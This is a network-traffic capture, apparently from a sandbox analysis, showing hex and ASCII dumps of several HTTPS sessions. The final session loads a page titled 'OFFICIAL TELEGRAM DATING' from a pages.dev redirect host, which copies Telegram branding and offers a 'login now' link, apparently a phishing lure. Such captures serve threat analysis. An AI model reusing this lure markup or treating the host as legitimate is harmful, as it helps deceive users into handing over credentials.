2024-05-23 22:51:30 UTC	16384	IN	Data Raw: 34 30 2e 34 2d 32 2e 38 73 38 2e 37 2d 32 38 2e 35 2c 37 2e 33 2d 33 31 2e 31 73 2d 33 2e 31 2d 38 2e 39 2c 32 2e 34 2d 31 31 2e 39 63 35 2e 36 2d 33 2c 31 32 2c 33 2c 31 35 2e 33 2c 31 30 2e 35 0a 09 09 73 39 2e 38 2c 33 32 2e 35 2d 31 39 2e 31 2c 34 38 2e 39 63 2d 33 30 2e 32 2c 31 37 2e 31 2d 35 37 2e 33 2c 31 33 2e 36 2d 36 37 2e 36 2c 33 2e 37 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 35 32 30 2e 36 2c 32 37 34 35 2e 39 63 2d 32 2c 33 2e 38 2d 33 2e 34 2c 31 39 2e 38 2d 31 2e 36 2c 32 31 2e 32 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 35 32 37 2e 37 2c 32 37 34 36 2e 37 63 31 2e 35 2c 33 2e 38 2d 30 2e 39 2c 31 38 2e 31 2d 32 2e 35 2c 31 39 2e 38 22 2f 3e 0a 09 3c 70 61 74 Data Ascii: 40.4-2.8s8.7-28.5,7.3-31.1s-3.1-8.9,2.4-11.9c5.6-3,12,3,15.3,10.5s9.8,32.5-19.1,48.9c-30.2,17.1-57.3,13.6-67.6,3.7"/><path class="st0" d="M520.6,2745.9c-2,3.8-3.4,19.8-1.6,21.2"/><path class="st0" d="M527.7,2746.7c1.5,3.8-0.9,18.1-2.5,19.8"/><pat
2024-05-23 22:51:30 UTC	16384	IN	Data Raw: 2d 31 30 2e 38 73 36 2e 33 2c 35 2e 33 2c 36 2e 33 2c 35 2e 33 73 33 2e 36 2d 32 2e 38 2c 37 2e 31 2c 30 2e 32 73 31 2e 33 2c 37 2e 39 2c 31 2e 33 2c 37 2e 39 73 35 2e 31 2d 32 2c 36 2e 37 2c 33 2e 35 0a 09 09 63 31 2e 34 2c 35 2e 31 2d 35 2e 36 2c 39 2e 33 2d 31 30 2e 37 2c 37 2e 34 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 32 38 35 2e 34 2c 31 37 39 36 2e 39 63 32 2e 38 2c 30 2e 36 2c 34 2e 35 2c 33 2e 36 2c 34 2e 35 2c 33 2e 36 73 32 2e 37 2d 33 2e 37 2c 36 2e 39 2d 31 2e 38 73 33 2e 35 2c 37 2e 32 2c 33 2e 35 2c 37 2e 32 73 34 2e 33 2d 33 2e 34 2c 37 2e 34 2c 31 2e 35 0a 09 09 63 32 2e 33 2c 33 2e 36 2d 31 2c 38 2e 33 2d 35 2e 32 2c 39 2e 37 22 2f 3e 0a 3c 2f 67 3e 0a 3c 67 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 Data Ascii: -10.8s6.3,5.3,6.3,5.3s3.6-2.8,7.1,0.2s1.3,7.9,1.3,7.9s5.1-2,6.7,3.5c1.4,5.1-5.6,9.3-10.7,7.4"/><path class="st0" d="M285.4,1796.9c2.8,0.6,4.5,3.6,4.5,3.6s2.7-3.7,6.9-1.8s3.5,7.2,3.5,7.2s4.3-3.4,7.4,1.5c2.3,3.6-1,8.3-5.2,9.7"/></g><g><path clas
2024-05-23 22:51:30 UTC	16384	IN	Data Raw: 34 2e 32 2c 31 36 2e 36 2d 38 2e 32 2c 32 30 2e 33 2d 36 2e 39 63 34 2e 34 2c 31 2e 35 2c 31 31 2e 35 2c 31 31 2e 35 2c 31 37 2e 36 2c 32 30 2e 34 0a 09 09 73 31 31 2c 37 2e 38 2c 31 31 2e 38 2c 33 2e 37 63 30 2e 38 2d 33 2e 39 2d 36 2e 37 2d 32 30 2e 33 2d 34 2e 37 2d 32 33 2e 32 63 30 2e 35 2d 30 2e 37 2c 33 2e 31 2d 30 2e 39 2c 37 2e 37 2c 37 2e 36 73 39 2e 33 2c 31 38 2e 32 2c 31 33 2c 31 32 2e 38 63 31 2e 34 2d 32 2c 30 2e 37 2d 36 2e 33 2d 31 2e 34 2d 31 32 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 38 32 2e 39 2c 31 34 34 37 2e 38 63 2d 37 2e 37 2d 34 2e 37 2d 38 2e 32 2d 34 33 2e 37 2c 31 2e 35 2d 35 33 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 37 32 2e 31 2c 31 33 39 38 Data Ascii: 4.2,16.6-8.2,20.3-6.9c4.4,1.5,11.5,11.5,17.6,20.4s11,7.8,11.8,3.7c0.8-3.9-6.7-20.3-4.7-23.2c0.5-0.7,3.1-0.9,7.7,7.6s9.3,18.2,13,12.8c1.4-2,0.7-6.3-1.4-12"/><path class="st0" d="M82.9,1447.8c-7.7-4.7-8.2-43.7,1.5-53"/><path class="st0" d="M72.1,1398
2024-05-23 22:51:30 UTC	16384	IN	Data Raw: 2e 38 2c 32 2e 32 2d 31 30 2e 37 2c 36 2d 31 31 2e 34 2c 31 31 2e 34 63 2d 30 2e 33 2c 31 2e 39 2c 30 2e 36 2c 33 2e 38 2c 32 2e 31 2c 34 2e 38 0a 09 09 63 30 2e 36 2c 30 2e 34 2c 31 2e 33 2c 30 2e 37 2c 32 2e 31 2c 30 2e 38 63 32 2e 37 2c 30 2e 34 2c 35 2e 33 2d 31 2e 35 2c 35 2e 37 2d 34 2e 32 63 30 2e 31 2d 30 2e 35 2c 30 2e 33 2d 31 2e 39 2c 34 2e 36 2d 33 2e 33 43 35 38 38 2e 31 2c 31 35 32 39 2e 37 2c 35 39 32 2e 33 2c 31 35 32 35 2e 34 2c 35 39 33 2e 32 2c 31 35 32 30 2e 35 7a 20 4d 35 38 31 2e 36 2c 31 35 32 38 2e 37 0a 09 09 63 2d 36 2e 31 2c 32 2d 36 2e 35 2c 34 2e 37 2d 36 2e 37 2c 35 2e 37 63 2d 30 2e 32 2c 31 2e 31 2d 31 2e 32 2c 31 2e 39 2d 32 2e 33 2c 31 2e 37 63 2d 30 2e 33 2c 30 2d 30 2e 36 2d 30 2e 32 2d 30 2e 38 2d 30 2e 33 63 2d 30 2e Data Ascii: .8,2.2-10.7,6-11.4,11.4c-0.3,1.9,0.6,3.8,2.1,4.8c0.6,0.4,1.3,0.7,2.1,0.8c2.7,0.4,5.3-1.5,5.7-4.2c0.1-0.5,0.3-1.9,4.6-3.3C588.1,1529.7,592.3,1525.4,593.2,1520.5z M581.6,1528.7c-6.1,2-6.5,4.7-6.7,5.7c-0.2,1.1-1.2,1.9-2.3,1.7c-0.3,0-0.6-0.2-0.8-0.3c-0.
2024-05-23 22:51:30 UTC	16384	IN	Data Raw: 36 2e 36 2c 37 2e 37 2c 33 2e 31 2c 32 30 2e 36 2c 36 2e 31 2c 32 39 2e 37 73 31 34 2e 31 2c 34 35 2e 32 2d 31 31 2e 38 2c 34 33 2e 32 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 31 34 39 2e 31 2c 35 33 37 2e 36 63 37 2e 38 2d 30 2e 35 2c 37 2e 37 2c 31 33 2e 33 2d 31 2e 31 2c 39 2e 37 63 2d 34 2e 31 2d 31 2e 37 2d 33 2e 38 2d 39 2e 32 2c 30 2e 39 2d 39 2e 37 43 31 34 39 2c 35 33 37 2e 36 2c 31 34 39 2e 31 2c 35 33 37 2e 36 2c 31 34 39 2e 31 2c 35 33 37 2e 36 7a 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 31 32 34 2e 36 2c 35 34 31 2e 35 63 31 30 2e 38 2c 35 2e 33 2d 31 2e 36 2c 32 31 2e 33 2d 39 2e 31 2c 31 32 2e 32 63 2d 34 2e 39 2d 35 2e 39 2c 32 2d 31 35 2e 34 2c 38 2e 38 2d 31 Data Ascii: 6.6,7.7,3.1,20.6,6.1,29.7s14.1,45.2-11.8,43.2"/><path class="st0" d="M149.1,537.6c7.8-0.5,7.7,13.3-1.1,9.7c-4.1-1.7-3.8-9.2,0.9-9.7C149,537.6,149.1,537.6,149.1,537.6z"/><path class="st0" d="M124.6,541.5c10.8,5.3-1.6,21.3-9.1,12.2c-4.9-5.9,2-15.4,8.8-1
2024-05-23 22:51:30 UTC	16384	IN	Data Raw: 38 0a 09 09 63 38 2e 34 2c 36 2e 38 2d 32 33 2e 31 2c 33 31 2e 35 2d 32 33 2e 31 2c 33 31 2e 35 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 35 2c 32 34 37 37 2e 36 63 2d 32 2e 32 2c 32 2e 36 2d 32 35 2e 36 2c 32 31 2e 34 2d 32 36 2e 38 2c 32 32 2e 36 22 2f 3e 0a 09 3c 6c 69 6e 65 20 63 6c 61 73 73 3d 22 73 74 30 22 20 78 31 3d 22 36 34 30 2e 36 22 20 79 31 3d 22 32 34 36 35 22 20 78 32 3d 22 36 33 35 2e 32 22 20 79 32 3d 22 32 34 36 39 2e 33 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 34 36 2e 39 2c 32 34 37 32 2e 34 63 30 2c 30 2d 33 38 2e 39 2c 32 37 2e 38 2d 34 31 2e 36 2c 33 31 2e 39 22 2f 3e 0a 3c 2f 67 3e 0a 3c 67 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 Data Ascii: 8c8.4,6.8-23.1,31.5-23.1,31.5"/><path class="st0" d="M625,2477.6c-2.2,2.6-25.6,21.4-26.8,22.6"/><line class="st0" x1="640.6" y1="2465" x2="635.2" y2="2469.3"/><path class="st0" d="M646.9,2472.4c0,0-38.9,27.8-41.6,31.9"/></g><g><path class="st
2024-05-23 22:51:30 UTC	16384	IN	Data Raw: 67 6f 6e 20 63 6c 61 73 73 3d 22 73 74 30 22 20 70 6f 69 6e 74 73 3d 22 33 39 33 2e 34 2c 34 37 30 2e 31 20 33 39 34 2e 39 2c 34 37 36 2e 37 20 33 38 30 2e 33 2c 34 37 36 2e 37 20 33 37 39 2e 38 2c 34 37 31 2e 35 20 09 22 2f 3e 0a 09 3c 70 6f 6c 79 67 6f 6e 20 63 6c 61 73 73 3d 22 73 74 30 22 20 70 6f 69 6e 74 73 3d 22 34 31 33 2e 37 2c 34 36 35 2e 32 20 34 31 36 2e 34 2c 34 37 31 2e 35 20 34 32 38 2c 34 36 31 20 34 32 34 2e 39 2c 34 35 36 2e 35 20 09 22 2f 3e 0a 3c 2f 67 3e 0a 3c 67 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 37 34 30 2e 33 2c 31 33 35 31 2e 38 63 31 31 2e 34 2d 32 32 2c 33 37 2e 33 2d 33 34 2c 34 34 2e 34 2d 33 35 2e 32 63 30 2c 30 2d 32 30 2e 39 2d 31 35 2e 37 2d 33 36 2e 33 2d 38 2e 34 63 2d 31 30 2e 39 Data Ascii: gon class="st0" points="393.4,470.1 394.9,476.7 380.3,476.7 379.8,471.5 "/><polygon class="st0" points="413.7,465.2 416.4,471.5 428,461 424.9,456.5 "/></g><g><path class="st0" d="M740.3,1351.8c11.4-22,37.3-34,44.4-35.2c0,0-20.9-15.7-36.3-8.4c-10.9
2024-05-23 22:51:30 UTC	16384	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 34 33 39 2e 36 2c 31 32 32 38 2e 33 63 33 2e 34 2c 32 2e 35 2c 32 2e 34 2c 31 34 2e 36 2d 31 35 2e 36 2c 36 2e 39 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 34 32 37 2e 36 2c 31 32 33 36 2e 35 63 30 2e 32 2c 33 2e 35 2d 33 2e 35 2c 38 2e 37 2d 31 30 2e 38 2c 35 2e 34 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 36 33 2e 32 2c 31 32 30 34 2e 35 63 2d 33 2e 39 2c 31 2e 32 2d 32 2e 37 2c 39 2e 35 2c 32 2e 34 2c 39 2e 31 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 36 30 2e 39 2c 31 32 33 38 2e 35 63 2d 37 2e 32 2c 30 2e 33 2d 31 37 2d 31 2e 33 2d 32 32 2e 33 2d 38 2e 36 63 33 2e 34 2c Data Ascii: ath class="st0" d="M439.6,1228.3c3.4,2.5,2.4,14.6-15.6,6.9"/><path class="st0" d="M427.6,1236.5c0.2,3.5-3.5,8.7-10.8,5.4"/><path class="st0" d="M363.2,1204.5c-3.9,1.2-2.7,9.5,2.4,9.1"/><path class="st0" d="M360.9,1238.5c-7.2,0.3-17-1.3-22.3-8.6c3.4,
2024-05-23 22:51:31 UTC	16384	IN	Data Raw: 35 2e 36 2c 39 2e 37 2d 39 2e 37 2c 31 35 2e 32 2d 35 2e 34 63 36 2e 34 2c 35 2c 35 2e 34 2c 31 38 2e 39 2d 31 35 2c 32 37 2e 39 63 2d 32 31 2e 36 2d 31 30 2e 32 2d 32 30 2e 37 2d 32 32 2e 31 2d 31 37 2e 32 2d 32 36 2e 37 0a 09 43 38 34 34 2e 37 2c 31 38 32 39 2e 32 2c 38 35 35 2e 32 2c 31 38 33 30 2e 39 2c 38 35 37 2e 33 2c 31 38 33 39 2e 31 7a 22 2f 3e 0a 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 38 31 36 2e 37 2c 32 30 34 32 2e 31 63 34 2e 38 2d 37 2e 33 2c 31 36 2e 35 2d 31 31 2c 32 33 2d 33 2e 34 63 37 2e 37 2c 38 2e 39 2c 32 2e 34 2c 32 38 2e 32 2d 32 39 2c 33 35 2e 34 63 2d 32 37 2e 37 2d 32 30 2e 35 2d 32 33 2e 33 2d 33 37 2e 31 2d 31 37 2e 31 2d 34 32 2e 35 0a 09 43 38 30 31 2e 37 2c 32 30 32 34 2e 36 2c 38 31 36 2c 32 30 Data Ascii: 5.6,9.7-9.7,15.2-5.4c6.4,5,5.4,18.9-15,27.9c-21.6-10.2-20.7-22.1-17.2-26.7C844.7,1829.2,855.2,1830.9,857.3,1839.1z"/><path class="st0" d="M816.7,2042.1c4.8-7.3,16.5-11,23-3.4c7.7,8.9,2.4,28.2-29,35.4c-27.7-20.5-23.3-37.1-17.1-42.5C801.7,2024.6,816,20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49728	23.211.8.90	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-23 22:51:31 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=235010 Date: Thu, 23 May 2024 22:51:31 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-23 22:51:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49730	149.154.167.99	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:35 UTC	351	OUT	GET /img/favicon.ico HTTP/1.1 Host: telegram.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:35 UTC	383	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 22:51:35 GMT Content-Type: image/x-icon Content-Length: 15086 Last-Modified: Thu, 21 Apr 2022 13:47:47 GMT Connection: close ETag: "62616083-3aee" Expires: Thu, 30 May 2024 22:51:35 GMT Cache-Control: max-age=604800 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2024-05-23 22:51:35 UTC	15086	IN	Data Raw: 00 00 01 00 03 00 30 30 00 00 01 00 20 00 a8 25 00 00 36 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 de 25 00 00 10 10 00 00 01 00 20 00 68 04 00 00 86 36 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 20 00 00 00 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da 9e 22 0d d9 9e 22 36 d9 9e 22 6f d9 9e 22 a4 d9 9e 22 cd d9 9e 22 e7 d9 9e 22 f7 d9 9e 22 fe d9 9e 22 fe d9 9e 22 f7 d9 9e 22 e7 d9 9e 22 cd d9 9e 22 a4 d9 9e 22 6f d9 9e 22 36 da 9e 23 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 00 %6 % h6(0` $""6"o"""""""""""o"6#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49734	172.66.45.18	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:36 UTC	660	OUT	GET /link-1 HTTP/1.1 Host: simxtrackredirecttszz.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:37 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:51:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9179 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "a27a07db6ba4c8b3a08d109ef1b510fd" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p9JTVrxONGLXcnFS3DieABk11bYH%2FFVwR%2BMhQieXJEvOkaHMqdeFBSMYthXS3K4oI1xut2Vujl%2B0X84lYKF2vnYhxayFWPJGeSMyQxf3ArxWT2q2ke%2BFaMpCtdFtAIaOJ7HhM6IoqQvJ46GUzddui5Ic"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88889c93ebfa18f2-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:51:37 UTC	599	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4f 46 46 49 43 49 41 4c 20 54 45 4c 45 47 52 41 4d 20 44 41 54 49 4e 47 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 26 26 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 27 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 Data Ascii: <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>OFFICIAL TELEGRAM DATING</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>window.matchMedia && window.matchMedia('(prefers-color-sc
2024-05-23 22:51:37 UTC	1369	IN	Data Raw: 6f 6e 2e 70 6e 67 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2d 33 32 78 33 32 2e 70 6e 67 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2d 31 36 78 31 36 2e 70 6e 67 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 Data Ascii: on.png"> <link rel="icon" type="image/png" sizes="32x32" href="https://telegram.org/img/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://telegram.org/img/favicon-16x16.png"> <link rel="alternate icon" href="
2024-05-23 22:51:37 UTC	1369	IN	Data Raw: 77 69 64 74 68 3d 22 31 33 33 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 31 37 22 20 63 79 3d 22 31 37 22 20 66 69 6c 6c 3d 22 76 61 72 28 2d 2d 61 63 63 65 6e 74 2d 62 74 6e 2d 63 6f 6c 6f 72 29 22 20 72 3d 22 31 37 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: width="133" xmlns="http://www.w3.org/2000/svg"> <g fill="none" fill-rule="evenodd"> <circle cx="17" cy="17" fill="var(--accent-btn-color)" r="17" />
2024-05-23 22:51:37 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 34 39 2e 34 20 32 34 76 2d 31 32 2e 35 36 32 68 2d 34 2e 32 32 34 76 2d 32 2e 32 36 36 68 31 31 2e 31 39 38 76 32 2e 32 36 36 68 2d 34 2e 32 36 38 76 31 32 2e 35 36 32 7a 6d 31 36 2e 30 39 34 2d 34 2e 35 39 38 68 2d 37 2e 31 37 32 63 2e 30 36 36 20 31 2e 39 33 36 20 31 2e 35 36 32 20 32 2e 37 37 32 20 33 2e 33 20 32 2e 37 37 32 20 31 2e 32 35 34 20 30 20 32 2e 31 33 34 2d 2e 31 39 38 20 32 2e 39 37 2d 2e 34 38 34 6c 2e 33 39 36 20 31 2e 38 34 38 63 2d 2e 39 32 34 2e 33 39 36 2d 32 2e 32 2e 36 38 32 2d 33 2e 37 34 2e 36 38 32 2d 33 2e 34 37 36 20 30 2d 35 2e 35 32 32 2d 32 Data Ascii: <path d="m49.4 24v-12.562h-4.224v-2.266h11.198v2.266h-4.268v12.562zm16.094-4.598h-7.172c.066 1.936 1.562 2.772 3.3 2.772 1.254 0 2.134-.198 2.97-.484l.396 1.848c-.924.396-2.2.682-3.74.682-3.476 0-5.522-2
2024-05-23 22:51:37 UTC	1369	IN	Data Raw: 2e 34 35 32 2d 2e 30 32 32 2d 32 2e 35 30 38 2d 2e 30 38 38 2d 33 2e 34 35 34 68 32 2e 33 33 32 6c 2e 31 31 20 32 2e 30 32 34 68 2e 30 36 36 63 2e 35 32 38 2d 31 2e 34 39 36 20 31 2e 37 38 32 2d 32 2e 32 36 36 20 32 2e 39 34 38 2d 32 2e 32 36 36 2e 32 36 34 20 30 20 2e 34 31 38 2e 30 32 32 2e 36 33 38 2e 30 36 36 76 32 2e 35 33 63 2d 2e 32 34 32 2d 2e 30 34 34 2d 2e 34 38 34 2d 2e 30 36 36 2d 2e 38 31 34 2d 2e 30 36 36 2d 31 2e 32 37 36 20 30 2d 32 2e 31 37 38 2e 38 31 34 2d 32 2e 34 32 20 32 2e 30 34 36 2d 2e 30 34 34 2e 32 34 32 2d 2e 30 36 36 2e 35 32 38 2d 2e 30 36 36 2e 38 31 34 76 35 2e 35 36 36 7a 6d 31 36 2e 30 35 2d 36 2e 34 32 34 76 33 2e 38 35 63 30 20 2e 39 36 38 2e 30 34 34 20 31 2e 39 31 34 2e 31 37 36 20 32 2e 35 37 34 68 2d 32 2e 34 34 32 Data Ascii: .452-.022-2.508-.088-3.454h2.332l.11 2.024h.066c.528-1.496 1.782-2.266 2.948-2.266.264 0 .418.022.638.066v2.53c-.242-.044-.484-.066-.814-.066-1.276 0-2.178.814-2.42 2.046-.044.242-.066.528-.066.814v5.566zm16.05-6.424v3.85c0 .968.044 1.914.176 2.574h-2.442
2024-05-23 22:51:37 UTC	1369	IN	Data Raw: 5f 54 41 5a 5a 26 74 32 30 32 6b 77 3d 45 56 4f 53 5f 54 41 5a 5a 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 6f 67 69 6e 20 6e 6f 77 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 67 6d 65 5f 62 6f 64 79 5f 77 72 61 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 67 6d 65 5f 70 61 67 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 67 6d 65 5f 70 61 67 65 5f 70 68 6f 74 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: _TAZZ&t202kw=EVOS_TAZZ"> login now </a> </div> </div> <div class="tgme_body_wrap"> <div class="tgme_page"> <div class="tgme_page_photo">
